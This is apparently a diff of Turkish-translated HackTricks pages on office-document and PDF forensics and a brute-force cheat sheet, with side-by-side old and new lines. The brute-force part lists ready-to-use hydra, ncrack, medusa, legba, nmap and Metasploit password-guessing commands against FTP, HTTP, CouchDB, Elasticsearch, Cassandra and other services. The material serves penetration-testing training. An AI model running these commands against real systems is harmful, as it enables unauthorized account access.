[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@ -22,37 +22,37 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet: Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) kontrol edin. Bu sadece bir özet:
Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar makrolar içerebilir, bu nedenle balık avı ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da açılarak inceleme yapılmasına izin verir, dosya ve klasör hiyerarşisini ve XML dosya içeriğini ortaya çıkarır. Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar, içerisinde makrolar barındırabilir ve bu nedenle sıklıkla phishing ve kötü amaçlı yazılımların hedefi olabilir. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da dosyanın ve klasör hiyerarşisinin ve XML dosya içeriğinin açılmasına izin verir.
OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını gösteren komut verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda devam eden yenilikleri gösterir. OOXML dosya yapılarını keşfetmek için belgeyi açma komutu ve çıktı yapısı verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiş ve CTF zorluklarında veri gizleme konusunda devam eden yenilikler gösterilmiştir.
Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimat vektörleri olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur, genellikle ek kötü amaçlı yükleri indirip yürüten kötü amaçlı yazılımlar için. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir. Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimatı için vektör olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya olanak tanır.
**oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmıştır ve belgelerden makroları çıkarmak için kullanılır. Makroların otomatik olarak yürütülmesi, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir. **oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmış ve belgelerden makroların çıkarılması için komutlar verilmiştir. Makroların otomatik olarak çalıştırılması, genellikle ek kötü amaçlı yükler indirip çalıştıran `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
</details> </details>

View file

@ -2,51 +2,51 @@
<details> <details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel düzenleyiciler gibi araçlar kullanılabilir. PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel düzenleyici gibi araçlar kullanılabilir.
PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir: PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler, şunlarda gizlenebilir:
* Görünmez katmanlar * Görünmez katmanlar
* Adobe'nin XMP meta veri formatı * Adobe tarafından XMP meta veri formatı
* Artımsal nesiller * Artımsal nesiller
* Arka planla aynı renkteki metin * Arka planla aynı renkteki metin
* Resimlerin arkasındaki metin veya resimlerin üst üste binmesi * Resimlerin arkasındaki metin veya resimlerin üst üste binmesi
* Görüntülenmeyen yorumlar * Görüntülenmeyen yorumlar
Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki kılavuzu gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [kılavuz kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı püf noktaları](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir. Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki rehberi gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da, hala değerli içgörüler sunmaktadır. [Kılavuzun bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı püf noktaları](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
<details> <details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.** * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>

View file

@ -1,24 +1,24 @@
# Brute Force - Kopya Kağıdı # Brute Force - Kopya Kağıdı
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%%
``` ```
### Cewl ### Cewl
Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Bu araç, web sitesindeki metinleri analiz eder ve belirli kelimeleri veya cümleleri çıkararak bir kelime listesi oluşturur. Bu liste daha sonra şifre kırma saldırılarında kullanılabilir. Cewl, bir web sitesinden metin çıkarmak için kullanılan bir araçtır. Bu araç, web sitesindeki metinleri analiz eder ve belirli kelimeleri veya cümleleri çıkararak bir kelime listesi oluşturur. Bu liste daha sonra şifre kırma saldırılarında veya sosyal mühendislik saldırılarında kullanılabilir. Cewl, genellikle hedef web sitesinin içeriğini anlamak ve hedefe yönelik özel bir saldırı planlamak için kullanılır.
```bash ```bash
cewl example.com -m 5 -w words.txt cewl example.com -m 5 -w words.txt
``` ```
@ -102,10 +102,10 @@ Finished in 0.920s.
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -126,17 +126,17 @@ msf> run
``` ```
### AJP ### AJP
AJP, Advanced Java Programming, is a protocol used by Apache Tomcat to communicate with a web server. It stands for Apache JServ Protocol. AJP, or Apache JServ Protocol, is a binary protocol that can be brute-forced to gain unauthorized access to Apache Tomcat servers. It is important to note that brute-forcing AJP can lead to account lockouts or other security measures being triggered, so it should be approached with caution.
```bash ```bash
nmap --script ajp-brute -p 8009 <IP> nmap --script ajp-brute -p 8009 <IP>
``` ```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM ve Solace)
```bash ```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
``` ```
### Cassandra ### Cassandra
Cassandra, Apache Software Foundation tarafından geliştirilen ve dağıtılan ık kaynaklı bir NoSQL veritabanıdır. Cassandra, yüksek performanslı ve ölçeklenebilir dağıtılmış sistemler için tasarlanmıştır. Veriler, birden fazla sunucu üzerinde dağıtılarak depolanır ve veritabanı hizmeti sağlar. Cassandra'nın dağıtılmış doğası, yüksek kullanılabilirlik ve dayanıklılık sağlar. Cassandra, Apache Software Foundation tarafından geliştirilen ve dağıtılan bir NoSQL veritabanı yönetim sistemidir. Cassandra, yüksek performanslı, yüksek ölçeklenebilir ve yüksek kullanılabilirlik sunan dağıtık bir veritabanı çözümüdür. Apache Cassandra'nın güvenliğini artırmak için, güçlü ve benzersiz şifreler kullanarak veritabanı erişimini korumak önemlidir. Ayrıca, güvenlik duvarları ve erişim kontrolleri gibi ek önlemler almak da önerilir.
```bash ```bash
nmap --script cassandra-brute -p 9160 <IP> nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra # legba ScyllaDB / Apache Casandra
@ -144,26 +144,26 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
``` ```
### CouchDB ### CouchDB
CouchDB, bir HTTP API'si üzerinden çalışan bir NoSQL veritabanıdır. Brute force saldırıları, kullanıcı adı ve parola kombinasyonlarını deneyerek sisteme yetkisiz erişim sağlamaya çalışan bir saldırı türüdür. Bu tür saldırılar, güçlü ve karmaşık parolalar kullanılarak engellenebilir. Brute-force attacks against CouchDB are relatively simple to execute. The most common method is to use a tool like Hydra to repeatedly attempt to log in using different username and password combinations. This can be effective if the database is not properly secured with strong credentials.
```bash ```bash
msf> use auxiliary/scanner/couchdb/couchdb_login msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
``` ```
### Docker Registry ### Docker Registry
### Docker Kayıt Defteri Docker Registry, Docker görüntülerini depolamak ve dağıtmak için kullanılan bir depolama ve dağıtım sistemidir. Docker Registry, Docker Hub gibi genel bir hizmet olarak kullanılabileceği gibi, kendi özel Docker Registry'nizi çalıştırabilirsiniz. Docker Registry, Docker görüntülerini depolamak ve paylaşmak için kullanılan bir merkezi depolama alanıdır.
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
``` ```
### Elasticsearch ### Elasticsearch
Elasticsearch, birçok farklı senaryoda kullanılan popüler bir arama ve analiz motorudur. Elasticsearch üzerinde brute force saldırıları gerçekleştirmek için çeşitli araçlar ve yöntemler bulunmaktadır. Bu saldırılar genellikle zayıf şifrelerin tespit edilmesi veya şifrelerin kaba kuvvet yöntemiyle kırılması amacıyla gerçekleştirilir. Elasticsearch üzerinde brute force saldırıları gerçekleştirmek için Hydra, Patator ve Burp Suite gibi araçlar kullanılabilir. Bu araçlar, farklı protokoller ve hedefler üzerinde kaba kuvvet saldırıları gerçekleştirmek için kullanılabilir. Elasticsearch üzerinde güvenlik açıklarını tespit etmek ve önlem almak için düzenli olarak güvenlik testleri yapılması önemlidir. Elasticsearch, birık kaynaklı arama ve analiz motorudur. Elasticsearch, RESTful API'leri kullanarak JSON belgeleri üzerinde arama yapmak için kullanılır. Elasticsearch, büyük miktarda veri depolamak ve hızlı bir şekilde aramak için optimize edilmiştir. Ayrıca, çeşitli veri analizi ve görselleştirme araçlarıyla entegre edilebilir. Elasticsearch, genellikle log yönetimi, gerçek zamanlı analiz ve tam metin arama gibi senaryolarda kullanılır.
``` ```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
``` ```
### FTP ### FTP
FTP, File Transfer Protocol olarak bilinir. Bir sunucuya dosya aktarmak veya sunucudan dosya indirmek için kullanılır. Brute force saldırıları, genellikle zayıf şifrelerin kırılmasında kullanılır. Saldırgan, oturum açma ekranına bir dizi şifre deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı türü, oturum açma ekranına erişim sağlayan bir araç kullanılarak otomatikleştirilebilir. FTP, File Transfer Protocol anlamına gelir. Bir hedefin FTP sunucusuna erişmek için brute force saldırıları kullanılabilir. Bu saldırılar, genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek hedefin FTP sunucusuna erişmeye çalışır. Bu saldırılar için yaygın araçlar arasında Hydra, Medusa ve Ncrack bulunmaktadır.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5] ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
@ -181,8 +181,6 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10 medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
``` ```
### HTTP - NTLM
### HTTP - NTLM ### HTTP - NTLM
```bash ```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
@ -192,39 +190,29 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa
#### Brute Force #### Brute Force
Brute force is a straightforward attack method that tries all possible combinations of a password until the correct one is found. This method can be used to crack passwords for authentication in web applications, including login forms. Brute force is a common attack method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This method can be used to crack passwords, encryption keys, and other security mechanisms.
#### Tools #### Brute Force Tools
There are various tools available for performing brute force attacks on web applications. Some popular tools include Hydra, Medusa, and Burp Suite. There are several tools available for conducting brute force attacks, such as Hydra, Medusa, and Ncrack. These tools automate the process of trying different combinations of credentials to gain access to a system.
#### Methodology #### Brute Force Protection
1. Identify the login form: Use browser developer tools to inspect the login form and determine the parameters required for authentication. To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockout policies, and use multi-factor authentication. Additionally, monitoring login attempts and implementing rate limiting can help detect and prevent brute force attacks.
2. Choose a tool: Select a suitable brute force tool based on the target application and your requirements.
3. Configure the tool: Set the target URL, parameters, and wordlist (list of passwords) in the brute force tool.
4. Start the attack: Initiate the brute force attack using the selected tool. Monitor the progress and wait for the tool to find the correct password.
5. Analyze the results: Once the tool successfully cracks the password, analyze the results and use the credentials for further exploitation if needed.
#### Prevention
